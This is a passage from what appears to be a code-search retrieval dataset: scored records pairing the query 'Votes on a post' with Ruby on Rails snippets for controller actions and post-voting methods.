"docid": "e655e31720bc3c0ae3ac8e58adab2497",
"score": "0.6353938",
"text": "def index\n\t\tvendas = Venda.all\n\t\trender json: vendas, status: :ok\n\tend",
"title": ""
},
{
"docid": "588c83a2bcb9fb5a84d7f2c7c65879cc",
"score": "0.63471234",
"text": "def index\n @users = User.where(:apartamento_id => params[:apartamento_id])\n #@users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end",
"title": ""
},
{
"docid": "f372f104952d7e8a32d03b5cbe22d310",
"score": "0.634482",
"text": "def index\n @repas = Repa.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @repas }\n end\n end",
"title": ""
},
{
"docid": "f97aa6b49ff2d4647e422a8fa8a55e6d",
"score": "0.634271",
"text": "def index\n @unidade_medidas = UnidadeMedida.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @unidade_medidas }\n end\n end",
"title": ""
},
{
"docid": "7f48fc79095de417bb92bd3fc37081ce",
"score": "0.63420266",
"text": "def index\n @projetos = Projeto.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projetos }\n end\n end",
"title": ""
},
{
"docid": "c440720ff476e892f231ffbf94f16855",
"score": "0.6339319",
"text": "def show\n @agronomiaquimica = Agronomiaquimica.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @agronomiaquimica }\n end\n end",
"title": ""
},
{
"docid": "97d9fe4cefff212fd2ec9c1c77b15a81",
"score": "0.63391113",
"text": "def show\n @motivobaja = MotivoBaja.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @motivobaja }\n end\n end",
"title": ""
},
{
"docid": "fae2e01f175320231edc15b238014ed1",
"score": "0.63339376",
"text": "def show\n @jamaat = Jamaat.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @jamaat }\n end\n end",
"title": ""
},
{
"docid": "567ba2f2bc6a19983a01c0ddc6e9ae2b",
"score": "0.6325204",
"text": "def show\n @utente = Utente.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @utente }\n end\n end",
"title": ""
},
{
"docid": "dfb3c0c278a4e67bbda84554ffcb159b",
"score": "0.6320289",
"text": "def index\n @assuntos = Assunto.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @assuntos }\n end\n end",
"title": ""
},
{
"docid": "77edc59a6cd7d2919f8b9658fb3b1620",
"score": "0.63176835",
"text": "def show\n @tecnico = Tecnico.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @tecnico }\n end\n end",
"title": ""
},
{
"docid": "f771b50ad34c0df56e6d5b662b0425d2",
"score": "0.6308401",
"text": "def index\n @categorias = Categoria.where(:status_id => Status.find_by_descricao('Ativo'))\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @categorias }\n end\n end",
"title": ""
},
{
"docid": "690dd7cd399e2c36233938840cc08c90",
"score": "0.6306979",
"text": "def expiracion\n @usuario = Usuario.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @usuario }\n end\n end",
"title": ""
},
{
"docid": "a19fb2a167098b23100450d11f3da6d3",
"score": "0.6303277",
"text": "def show\n @premio = Premio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @premio }\n end\n end",
"title": ""
},
{
"docid": "f198e2bfcbbb4f803bea590e9c291c89",
"score": "0.63031626",
"text": "def index\n @himalayas ||= Himalaya.limit(10).order('id desc')\n @descuentos ||= Descuento.limit(10).order('id desc')\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @himalayas }\n end\n end",
"title": ""
},
{
"docid": "24c80701b948aaeb4b7a73c3c5d849a1",
"score": "0.63021684",
"text": "def show\n @anuncio = Anuncio.find(params[:id])\n\n respond_to do |format|\n format.html\n format.json { render json: @anuncio }\n end\n end",
"title": ""
},
{
"docid": "bbc2d27dc447c3acdfcb8006ca9dfadc",
"score": "0.6300357",
"text": "def show\n @giang_vien = GiangVien.find(params[:id])\n\n respond_to do |format| \n format.json { render json: @giang_vien }\n end\n end",
"title": ""
},
{
"docid": "b79e0ce6ecc2a523588672b990047789",
"score": "0.629644",
"text": "def show\n @pessoa = Pessoa.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pessoa }\n end\n end",
"title": ""
},
{
"docid": "3167919c8f1e5c45598526e8392e6823",
"score": "0.6292499",
"text": "def index\n @municipio_de_la_preparatoria_o_universidad_de_origens = MunicipioDeLaPreparatoriaOUniversidadDeOrigen.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @municipio_de_la_preparatoria_o_universidad_de_origens }\n end\n end",
"title": ""
},
{
"docid": "37f5b55b417e9110e51e8b04633a76e3",
"score": "0.6291745",
"text": "def index\n @ventas = Venta.order(\"fecha desc\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ventas }\n end\n end",
"title": ""
},
{
"docid": "6e771f089820e2a54b2c635e31d25396",
"score": "0.62910795",
"text": "def show\n @asociado = Asociado.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @asociado }\n end\n end",
"title": ""
},
{
"docid": "f537980e4bdf2dee0cfb6d0fcb647132",
"score": "0.62862766",
"text": "def show\n @peso = Peso.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @peso }\n end\n end",
"title": ""
}
] |
e1682186aaeab69a8ec0d88feaa72a82
|
Votes on a post
|
[
{
"docid": "4f1d9d610d8ef5b47e9ab69ed850e4b1",
"score": "0.6510633",
"text": "def vote(id, voteup)\n db = SQLite3::Database.new(DB_PATH)\n\n if voteup\n db.execute(\"UPDATE posts SET votes=votes+1 WHERE id=?\", id)\n else\n db.execute(\"UPDATE posts SET votes=votes-1 WHERE id=?\", id)\n end\n end",
"title": ""
}
] |
[
{
"docid": "3550a555374d0609a11cae6b46b7562c",
"score": "0.8085356",
"text": "def voted(post)\n votes.where(post_id: post.id).first\n end",
"title": ""
},
{
"docid": "592621d7a22e66712c9a993b62b781f1",
"score": "0.79424703",
"text": "def voted(post) #This method takes a post object and determines if the user has any votes on that post object.\n self.votes.where(post_id: post.id).first\n end",
"title": ""
},
{
"docid": "776082b2f38aed3452d7d31c0a272aa5",
"score": "0.7659783",
"text": "def show\n @votes = @post.votes\n end",
"title": ""
},
{
"docid": "a7ac501b818ba7babfa8c72f1ab82145",
"score": "0.73881894",
"text": "def GetVotes\n votes = Vote.where(:posts => self.id)\n votes.all\n end",
"title": ""
},
{
"docid": "62abbde13b75b11ca2a15e26ce48c4f9",
"score": "0.7386076",
"text": "def vote(post, vote_type)\n votes << Vote.create(user_id: self.id, vote_type: 'up', post_id: post.id)\n post.set_vote_count\n# votes << Vote.new(post: post, user: self, vote_type: \"up\")\n end",
"title": ""
},
{
"docid": "766b7a6fe32a99f121690d347dbfe4dd",
"score": "0.73848253",
"text": "def set_post_vote\n @post_vote = PostVote.find(params[:id])\n end",
"title": ""
},
{
"docid": "f1f919fb0803f8598d5e8875f0d0817b",
"score": "0.73614556",
"text": "def numberOfVotes\n Vote.find_all_by_post_id(self.id).count()\n end",
"title": ""
},
{
"docid": "aed1237b6fac78fa6db7a123994632c5",
"score": "0.7179929",
"text": "def vote(*args)\n options = args.last.is_a?(Hash) ? args.pop : {}\n if args.length == 2\n options.merge!(:vote => args[0])\n options.merge!(:post => args[1])\n response = post('posts/vote', options)\n else\n puts \"#{Kernel.caller.first}: posts.vote expects 2 arguments: vote([-1..1]), posts ID\"\n end\n end",
"title": ""
},
{
"docid": "d3ee6fed6cd6f6c3bfcd63f12c29afdf",
"score": "0.7176754",
"text": "def create_vote\n self.user.votes.create(value: 1, post: self)\n end",
"title": ""
},
{
"docid": "d3ee6fed6cd6f6c3bfcd63f12c29afdf",
"score": "0.7176754",
"text": "def create_vote\n self.user.votes.create(value: 1, post: self)\n end",
"title": ""
},
{
"docid": "496a7edddac7bff391be1046f9be8bd6",
"score": "0.71535665",
"text": "def create_vote\n user.votes.create(value: 1, post: self)\n end",
"title": ""
},
{
"docid": "496a7edddac7bff391be1046f9be8bd6",
"score": "0.71535665",
"text": "def create_vote\n user.votes.create(value: 1, post: self)\n end",
"title": ""
},
{
"docid": "1d7ee8ac894717df04da3ec5af2a2828",
"score": "0.7123017",
"text": "def votedown\n @post = Post.find_by(id: params[:id])\n # @post.update(vote_count: @post.vote_count + 1)\n @post.downvote\n redirect_to posts_path\n end",
"title": ""
},
{
"docid": "b6ab7be6aab1e62b30726282472178eb",
"score": "0.71208656",
"text": "def vote_count id\n Vote.count(:conditions => { :post_id => id })\n end",
"title": ""
},
{
"docid": "61ae668756bf273325ce2c46488075ba",
"score": "0.7048901",
"text": "def vote_post(post_id, user_id, value, count_change)\n db = SQLite3::Database.new(\"db/reddit.db\")\n if previous_post_vote(post_id, user_id) == false\n db.execute(\"INSERT INTO post_upvotes (post_id, user_id, value) VALUES (?,?,?)\", post_id, user_id, value)\n else\n db.execute(\"UPDATE post_upvotes SET value = ? WHERE post_id = ? AND user_id = ?\", value, post_id, user_id)\n end\n upvote_count = db.execute(\"SELECT posts.upvote_count FROM posts WHERE posts.post_id = ?\", post_id)[0][0].to_i\n db.execute(\"UPDATE posts SET upvote_count = ? WHERE post_id = ?\", upvote_count + count_change, post_id)\n end",
"title": ""
},
{
"docid": "8dcd8e77f5a50695be34874b398beca1",
"score": "0.69963545",
"text": "def voted_for?(post)\n evaluations.where(target_type: post.class, target_id: post.id).present?\n end",
"title": ""
},
{
"docid": "c6ebe823ec85362de0455b252d927f70",
"score": "0.69800055",
"text": "def redis_post_points\n x = REDIS.get \"post:#{self.id}:total_votes\"\n x.to_i\n end",
"title": ""
},
{
"docid": "b69d8577aad613e0429e19d316951d4d",
"score": "0.6973226",
"text": "def votes\n @votes\n end",
"title": ""
},
{
"docid": "c85f50798cf6d223a91746bc6efe365f",
"score": "0.6962163",
"text": "def vote\n value = params[:type] == \"up\" ? 1 : -1\n @post = Post.find(params[:id])\n @post.add_or_update_evaluation(:votes, value, current_user)\n redirect_to :back\n flash[:success] = \"Thanks for voting\"\n\n end",
"title": ""
},
{
"docid": "4a0064f296905fe917f3d94b2a518ff7",
"score": "0.69343185",
"text": "def index\n @post_votes = PostVote.all\n end",
"title": ""
},
{
"docid": "6898b5ca858bc95d5d3882de401a6d04",
"score": "0.6926577",
"text": "def set_vote_post\n @vote_post = VotePost.find(params[:id])\n end",
"title": ""
},
{
"docid": "3fa6995ab7c00356b8bb76742889473c",
"score": "0.6915685",
"text": "def votedown\n @post = Post.find(params[:id])\n @post.vote_all = @post.vote_all-1\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to(@post, :notice => 'Post was successfully vote down.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "cfd31872eb35464b772593ee05b466c2",
"score": "0.688704",
"text": "def toggle_vote\n if REDIS.sismember \"user:#{current_user.id}:voted_posts\", params[:post_id] # check if vote exists\n # if so, remove it\n REDIS.srem \"user:#{current_user.id}:voted_posts\", params[:post_id]\n REDIS.srem \"post:#{params[:post_id]}:voted_users\", current_user.id\n REDIS.decr \"user:#{current_user.id}:total_votes\"\n REDIS.decr \"post:#{params[:post_id]}:total_votes\"\n else\n # if not, add it\n REDIS.sadd \"user:#{current_user.id}:voted_posts\", params[:post_id]\n REDIS.sadd \"post:#{params[:post_id]}:voted_users\", current_user.id\n REDIS.incr \"user:#{current_user.id}:total_votes\"\n REDIS.incr \"post:#{params[:post_id]}:total_votes\" \n end\n Post.find(params[:post_id]).update_redis_rank\n redirect_to :back\n end",
"title": ""
},
{
"docid": "432e53cd0574c7bf70ca63c271c93b58",
"score": "0.6883775",
"text": "def vote\n\t\tif current_user\n\t\t\tpost = Post.find(params[:id])\n\t\t\tuserVote = post.votes.find_by(user_id: session[:user_id])\n\t\t\tif (userVote == nil)\n\t\t\t\tuserVote = post.votes.create(post_id: post.id, user_id: session[:user_id])\n\t\t\t\tif params[:dir] == \"up\"\n\t\t\t\t\tpost.voteCount += 1\n\t\t\t\telsif params[:dir] == \"down\"\n\t\t\t\t\tpost.voteCount -= 1\n\t\t\t\tend\t\t\t\t\n\t\t\telse\n\t\t\t\tif params[:dir] == \"up\" and userVote.isDownvote != false\n\t\t\t\t\tuserVote.isDownvote = false\n\t\t\t\t\tpost.voteCount += 2\n\t\t\t\telsif params[:dir] == \"down\" and userVote.isDownvote != true\n\t\t\t\t\tuserVote.isDownvote = true\n\t\t\t\t\tpost.voteCount -= 2\n\t\t\t\tend\n\t\t\tend\n\t\t\tuserVote.save()\n\t\t\tpost.save()\n\t\t\trespond_to do |format|\n\t\t\t\tmsg = { status: \"ok\", message: post.voteCount }\n\t\t\t\tformat.json { render json: msg }\n\t\t\tend\n\t\tend\n\tend",
"title": ""
},
{
"docid": "d780ddb53a86af985b707a9e9ea4734e",
"score": "0.6875773",
"text": "def up_votes\n # #9 find the up votes for a post by passing value: 1 to where. This fetches a collection of votes with a value of 1. We then call count on the collection to get a total of all up votes\n votes.where(value: 1).count\n end",
"title": ""
},
{
"docid": "67bf174f07e1423542d2664e2158786a",
"score": "0.68037224",
"text": "def vote_count\n object.votes.count\n end",
"title": ""
},
{
"docid": "389b492031bcc1731c64d334e90c9636",
"score": "0.67715263",
"text": "def votes\n resp = @conn.get(\"bots/#{@id}/votes\")\n\n Spreader::Votes.new(JSON.parse(resp.body))\n end",
"title": ""
},
{
"docid": "2e82f0cc4c7d87baed8c36c8c8102680",
"score": "0.67559266",
"text": "def vote\n @post = Post.find(params[:id])\n\n respond_to do |format|\n #Create a vote object with the necessary parameters\n @foundVote = Vote.new\n @foundVote.post_id = params[:id]\n @foundVote.user_id = User.find_by_userName(session[:userName]).id\n @foundVote.numberOfVotes = 0\n\n #save the vote and redirection to the parent post page for display\n if @foundVote.save()\n metric(@foundVote.post_id)\n increaseTotalVotes(params[:id])\n format.html { redirect_to Post.find(Post.find(params[:id]).parentPostID), notice: 'Vote successfully submitted.' }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6455271c6c4de399003a03f74b01662b",
"score": "0.6734171",
"text": "def upvote\n post = Post.find(params[:post_id])\n error! :not_found if post.blank?\n post.upvote(@user)\n expose post, serializer: PostSerializer\n end",
"title": ""
},
{
"docid": "4484f3ed99f27dedbe620bcc7382c1b9",
"score": "0.6731889",
"text": "def up_vote(post_id:)\n post_summary = PostSummary.find_by(post_id: post_id)\n\n if !post_summary\n @result.errors << [POST_SUMMARY_NOT_FOUND_ERROR]\n @result.code = ERROR\n end\n \n if @result.code != ERROR\n new_up_votes = post_summary.up_votes + Vote::UPVOTE\n @result.response = _update(post_summary: post_summary, params: { up_votes: new_up_votes })\n end\n\n @result\n end",
"title": ""
},
{
"docid": "244338aeed020c8541a45a6c43781f1e",
"score": "0.6719693",
"text": "def upvote\n @post.upvote_by current_user\n redirect_to @post\n end",
"title": ""
},
{
"docid": "abf56d96c1441a173f8e250e6d99a467",
"score": "0.67156583",
"text": "def up_votes\n post_up_votes + comment_up_votes\n end",
"title": ""
},
{
"docid": "feb63308c2fd924585bb9350c265f26d",
"score": "0.6689335",
"text": "def has_upvoted?(post_id)\n\t\tPostVote.where(post_id: post_id, user_id: current_user.id).count > 0\n\tend",
"title": ""
},
{
"docid": "b3359ede7ba9822700524f1317b27a7c",
"score": "0.6683691",
"text": "def vote_count\n votes.count\n end",
"title": ""
},
{
"docid": "375a8eae26f2202938ffee63e7a35a3b",
"score": "0.66798323",
"text": "def able_to_vote?(post)\n post.user == self\n end",
"title": ""
},
{
"docid": "3c42e3b40843303e8745d6d6bef353b4",
"score": "0.66783696",
"text": "def listVoters\n Vote.find_all_by_post_id(self.id)\n end",
"title": ""
},
{
"docid": "b0f78e2552cd966e0e5858f4b7d9dafe",
"score": "0.6666691",
"text": "def vote_count\n self.votes.count\n end",
"title": ""
},
{
"docid": "b0f78e2552cd966e0e5858f4b7d9dafe",
"score": "0.6666691",
"text": "def vote_count\n self.votes.count\n end",
"title": ""
},
{
"docid": "b0f78e2552cd966e0e5858f4b7d9dafe",
"score": "0.6666691",
"text": "def vote_count\n self.votes.count\n end",
"title": ""
},
{
"docid": "b0f78e2552cd966e0e5858f4b7d9dafe",
"score": "0.6666691",
"text": "def vote_count\n self.votes.count\n end",
"title": ""
},
{
"docid": "f3e43bca9060ab581df49dcb389159b3",
"score": "0.6659457",
"text": "def votes_count\n votes.count\n end",
"title": ""
},
{
"docid": "c6380195a49fb72ffe6588b9dd830d11",
"score": "0.66533285",
"text": "def user_voted? id\n if Vote.count(:conditions => { :post_id => id, :user_id => current_user.id }) > 0\n true\n else\n false\n end\n end",
"title": ""
},
{
"docid": "509d16fcc0a9561d1b87f15847024075",
"score": "0.6638693",
"text": "def upvoted_posts\n Post.includes(:forum, :user)\n .joins(:votes)\n .where('votes.user_id' => id, 'votes.upvote' => 1, 'votes.downvote' => 0)\n end",
"title": ""
},
{
"docid": "1622ffef227f49716cf465141233ab2a",
"score": "0.66344535",
"text": "def upvote\n @post = Post.find (params[:id])\n @post.upvotes += 1\n @post.save\n redirect_to(posts_url)\n end",
"title": ""
},
{
"docid": "f7f21623d6786403fe48f1f158c21bf6",
"score": "0.66307014",
"text": "def vote\n votes.find(params[:id])\n end",
"title": ""
},
{
"docid": "e5cebc2c0278294678cd85f5995db0f6",
"score": "0.6621069",
"text": "def votes\n current_user.votes\n end",
"title": ""
},
{
"docid": "ab855fcf997b56f3802af546995fbcf5",
"score": "0.66201717",
"text": "def upvotes_count\n post_votes.where(value: 1).sum(:value)\n end",
"title": ""
},
{
"docid": "b88d141c5c0aecc4859fb48c38dc6b89",
"score": "0.66105604",
"text": "def voteup\n @post = Post.find_by(id: params[:id])\n # @post.update(vote_count: @post.vote_count + 1)\n @post.upvote\n redirect_to posts_path\n end",
"title": ""
},
{
"docid": "9cb67de3e728c8528240e340bbaed05e",
"score": "0.6601945",
"text": "def add_vote\n self.user.votes.build(:voteable_id => self.id, :voteable_type => \"Post\", :vote_type => \"Up\").save!\n end",
"title": ""
},
{
"docid": "8d75809f9c207e9fad55f42d52eae0e5",
"score": "0.6589741",
"text": "def score\n votes.count\n end",
"title": ""
},
{
"docid": "a70b5e77d1ea673811f3f2f09318f381",
"score": "0.65789133",
"text": "def vote()\n self.votes += 1\n end",
"title": ""
},
{
"docid": "1e0175a13c112ac6802f580fe1147797",
"score": "0.6578235",
"text": "def set_vote\n member_id = nil\n post_id = params[:post_id]\n @vote = Vote.where(member_id: member_id, post_id: post_id).first_or_create\n # @member = Member.find(member_token)\n # @vote = @member.votes.find_by post_id: params[:post_id]\n end",
"title": ""
},
{
"docid": "083538d461ba82c80ea6222302f63134",
"score": "0.6576515",
"text": "def can_vote?(post_id)\n qty = Vote.where(:post_id => post_id, :user_id => self.id).count\n return false if qty > 0\n true\n end",
"title": ""
},
{
"docid": "aeb96aa893e006e77f6a63bd16fcba41",
"score": "0.6574727",
"text": "def sum_votes\n # TODO\n end",
"title": ""
},
{
"docid": "0c7a4fca9794fb9636d71d4fe16feb97",
"score": "0.6567573",
"text": "def get_totalvote(postid)\n return Vote.count_by_sql\"SELECT COUNT(*) FROM Votes Where Votes.post_id = #{postid}\"\nend",
"title": ""
},
{
"docid": "aecd3c695a865fcaf759d4c094b2c6e8",
"score": "0.65672976",
"text": "def resolve(post:)\n post.upvote\n\n {\n post: post\n }\n end",
"title": ""
},
{
"docid": "a7ea401d7c6a60c84c8d69215b35d684",
"score": "0.65575385",
"text": "def add_vote\n @post = Post.find(params[:id])\n @count = 0\n @count = @post.votes\n @count+=1\n @post.votes = @count\n @vote = PostVote.new\n @vote.user_id = session[:id1]\n @vote.post_id=@post.id\n @vote.save\n @post.popularity += 1\n @post.save\n\n redirect_to :action=>'index'\n end",
"title": ""
},
{
"docid": "04462c8ac89215755d084281d52ce24c",
"score": "0.6556217",
"text": "def total_votes\n 5\n end",
"title": ""
},
{
"docid": "dd8a977dc8192e3c796576985585d2ff",
"score": "0.65372527",
"text": "def total_votes\n 10\n end",
"title": ""
},
{
"docid": "a99c4a401c97e1af1dc4f12499a667ad",
"score": "0.6520167",
"text": "def upvote\n @post = post_type.find_by_slug(params[:id])\n current_user.vote_for(@post)\n current_user.add_points(1)\n @post.update_vote_score\n respond_to do |format|\n format.js\n end\n end",
"title": ""
},
{
"docid": "601921ef1ac2497bc7fc649fad9ab208",
"score": "0.6502956",
"text": "def upvote\n @post.upvote_from current_user\n @post.points\n\n respond_to do |format|\n format.html\n format.js\n end\n end",
"title": ""
},
{
"docid": "825d07f00341dab364345b99ea3ae241",
"score": "0.6488328",
"text": "def update_vote_counters\n post[:positive_votes_count] = Vote.where(:post_id => post_id, :rating => 1).count\n post[:negative_votes_count] = Vote.where(:post_id => post_id, :rating => -1).count\n post[:overall_score] = post.positive_votes_count - post.negative_votes_count\n end",
"title": ""
},
{
"docid": "1f93446f6da5b163e065d2a40a57a461",
"score": "0.64848524",
"text": "def vote\n @post = Post.find(params[:id])\n respond_to do |format|\n @foundVote = Vote.new\n @foundVote.post_id = params[:id]\n @foundVote.user_id = User.find_by_userName(session[:userName]).id\n @foundVote.numberOfVotes = 0\n\n #if @foundVote !='nil'\n if @foundVote.update_attributes(params[:numberOfVotes])\n metric(@foundVote.post_id)\n format.html { redirect_to posts_path, notice: 'Vote successfully submitted.' }\n format.json { render json: @post, status: :created, location: @post }\n else\n puts \"error\"\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c5f4236483522572a8e35d3d0bb5d223",
"score": "0.64826775",
"text": "def upvote\r\n @post.upvote_from current_user\r\n redirect_to @post, notice: \"You have upvoted this post.\"\r\n end",
"title": ""
},
{
"docid": "8c2e65b0b5bd085984a0987a73557780",
"score": "0.6475869",
"text": "def has_user_voted_on_post?(post_id)\n some_vote = PostVote.where(\"post_id = ? and user_id = ?\", post_id, current_user.id)\n puts \"post id and user id \", post_id, current_user.id, some_vote.empty?\n if some_vote.empty?\n false\n else\n true\n end\n end",
"title": ""
},
{
"docid": "a3691b124543670ee1007299a23c32f3",
"score": "0.64577794",
"text": "def set_user_votes\n @user_votes = []\n @user_votes = current_user.votes.pluck(:post_id) if user_signed_in?\n end",
"title": ""
},
{
"docid": "5777a031821890acc535b357d18b080c",
"score": "0.645756",
"text": "def total_votes\n votes.count\n end",
"title": ""
},
{
"docid": "58c26c42cd3d873becf75a85647f5187",
"score": "0.6445325",
"text": "def duplicate_vote_up?(post, user)\n num = VotesPost.where(:post_id => post.id, :user_id => user.id)\n\n num.count > 0\n end",
"title": ""
},
{
"docid": "3535dad6d90f2cd1985b147dca7fabf8",
"score": "0.6445312",
"text": "def create\n @post = Post.new(params[:post])\n @post.user_id = session[:user_id]\n @post.last_update_time = Time.now\n\n # init the number of votes for the post\n @post.post_vote_count = 0\n\n # init the number of votes for the post's reply\n @post.total_vote_count = 0\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "226ceba896b2b5fb3d0672723a9dfa5c",
"score": "0.64444846",
"text": "def post_vote_params\n params.require(:post_vote).permit(:post_id, :user_id, :vote)\n end",
"title": ""
},
{
"docid": "8bd63cf8f7deeb134528606f27d24ba3",
"score": "0.6440098",
"text": "def increment_upvote\n post.upvotes_count += 1\n post.save\n end",
"title": ""
},
{
"docid": "77609ec693af0d3d9ff9e6eb9f1341cb",
"score": "0.6434145",
"text": "def create\n value = params['value'].to_i\n if ![-1, 0, 1].include? value\n return render :status => :bad_request, :json => {error: \"Invalid vote value\"}\n end\n\n post = Post.find params[:post_id]\n\n if value == 0\n post.post_votes.find_by_user_id(session[:userId]).destroy\n\n # Report that the vote has been removed\n @vote = {\n value: 0,\n user_id: session[:userId]\n }\n else\n @vote = post.post_votes.find_or_create_by(user_id: session[:userId])\n\n if @vote.value == value\n return render :status => 400, :json => {error:\"You already voted!\"}\n end\n\n\t post.vote_sum = post.post_votes.sum(:value)\n post.save\n\n @vote.value = value\n @vote.save\n end\n\n post.vote_sum = post.post_votes.sum(:value)\n post.save\n\n render :json => @vote\n\n end",
"title": ""
},
{
"docid": "cf0d0ed6071a7fb35929004dff68de45",
"score": "0.6414777",
"text": "def upvote\n @post.upvote_by current_user\n redirect_to :back\n end",
"title": ""
},
{
"docid": "eaede8194b59719906e8d99358999a6e",
"score": "0.6412377",
"text": "def votes_count\n votes.try(:[], 'count') || 0\n end",
"title": ""
},
{
"docid": "bec9716053f3df0e1e2e0c39a9d92d99",
"score": "0.6409143",
"text": "def post_vote_count(from_time = DateTime.current.beginning_of_year, to_time = DateTime.current)\n Vote.where(\"voteable_type = 'Post' AND voteable_id IN (?) AND created_at >= ? AND created_at <= ?\", self.posts, from_time, to_time).count\n end",
"title": ""
},
{
"docid": "cedbb6f8fcb88eb851383cfe3b50e596",
"score": "0.6407252",
"text": "def upvote\n\t\t@post = Post.find(params[:id])\n\t\tnew_count = @post.post_count += 1\n\t\t@post.update_attributes(:post_count => new_count)\n\t\tredirect_to posts_path\n\tend",
"title": ""
},
{
"docid": "d79e1d85e12050850cec987eacebaa51",
"score": "0.64062786",
"text": "def index\n @vote_posts = VotePost.all\n end",
"title": ""
},
{
"docid": "516194a6e7b6c6aa9320285dddbcb2a8",
"score": "0.6400857",
"text": "def show\n @post = Post.find(params[:id])\n @comment = Comment.new(:post => @post)\n @post.votes = Vote.find_all_by_pid(@post.id).count\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"title": ""
},
{
"docid": "fd5f0e3d987289e6bccff5cab9ea8735",
"score": "0.6399162",
"text": "def votes\n event_video_votes.all.count\n end",
"title": ""
},
{
"docid": "3b667fbb17823fcc41b3e10fe3fbdbbf",
"score": "0.63892704",
"text": "def count_votes\n count = 0\n self.votes.each do |vote|\n count += vote.value\n end\n count\n end",
"title": ""
},
{
"docid": "12385834cfb9bc3969b3071cc0e45754",
"score": "0.6387447",
"text": "def num_votes\n votes.count\n end",
"title": ""
},
{
"docid": "6076952e3865851c57e3c05cd8a73b75",
"score": "0.63757956",
"text": "def show_users_votes\n return if @current_user.nil?\n postVote = @current_user.votes.find_by(:votable_type => 'Post', :votable_id => params[:id])\n commentVotes = @current_user.votes.where(:votable_type => 'Comment').select { |comment| comment.votable.post.id == params[:id].to_i }\n @votes = {}\n @votes[:post] = postVote.value unless postVote.nil?\n @votes[:comments] = {} unless commentVotes.nil?\n commentVotes.each do |commentVote|\n @votes[:comments][commentVote.votable_id.to_s.to_sym] = commentVote.value\n end\n end",
"title": ""
},
{
"docid": "f2ffa86fdb3f240e70909931c70b6cf0",
"score": "0.63731974",
"text": "def count_votes\n count = 0\n self.votes.each do |vote|\n count += vote.value\n end\n count\n end",
"title": ""
},
{
"docid": "48677c479b35e77af2426b6a8586a7d1",
"score": "0.6371442",
"text": "def votes_point\n votes.try(:[], 'point') || 0\n end",
"title": ""
},
{
"docid": "41bfe590891c31de523be505bc7326f8",
"score": "0.63663334",
"text": "def index\n @posts = Post.all()\n @posts = Post.order('updated_at desc')\n @posts.each do |p|\n p.votes = Vote.find_all_by_pid(p.id).count\n end\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n end",
"title": ""
},
{
"docid": "1416c67ac042cfc459f57a4eefb3598d",
"score": "0.63628066",
"text": "def comments_have_votes?\n true\n end",
"title": ""
},
{
"docid": "7bf0b7eecc9f08afb4908de6c9afc0ad",
"score": "0.6330695",
"text": "def create\n @vote = Vote.new(params[:vote])\n @vote.user = current_user\n @vote.post=Post.find(params[:post_id])\n\n respond_to do |format|\n if @vote.save\n format.html { redirect_to posts_path, notice: 'Vote was successfully created.' }\n format.json { render json: posts_path, status: :created, location: @posts }\n else\n format.html { redirect_to posts_path, :flash => {:alert => \"You can only vote once per post!\"} }\n format.json { render json: @vote.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3fffeb96cde2d902cbd0c36877ab416f",
"score": "0.63280773",
"text": "def show_voting(post, problem_id)\n render(:partial => 'votes/vote', :locals => {:post => post, :problem_id => problem_id})\n end",
"title": ""
},
{
"docid": "e845110441e402d8404327c89f08e6b3",
"score": "0.6325757",
"text": "def votes\n self.users\n end",
"title": ""
},
{
"docid": "b9fd91ae1d6b8dc31a70eaac9596c69d",
"score": "0.6298648",
"text": "def show\n @post = Post.find(params[:post_id])\n @comments = @post.comments\n @vote_count = @comment.vote_count\n end",
"title": ""
},
{
"docid": "777718088a54da942e8dba8a3b584eae",
"score": "0.62917167",
"text": "def if_has_votes\n self.votes_count > 0\n end",
"title": ""
},
{
"docid": "f178b9128ab7af3fb5bcf2f487693738",
"score": "0.62909436",
"text": "def likes\n self.cached_votes_total\n end",
"title": ""
},
{
"docid": "6b2540f6069f674850b218fd5696128f",
"score": "0.6283635",
"text": "def total_votes\n @votes.count\n end",
"title": ""
},
{
"docid": "7de5eb95bdf874c75cdc4b8e76136c0c",
"score": "0.6278722",
"text": "def upvoted?\n true if self.vote == 1\n end",
"title": ""
},
{
"docid": "2dcf95e7921d6d5e1792feac5c948c46",
"score": "0.6261295",
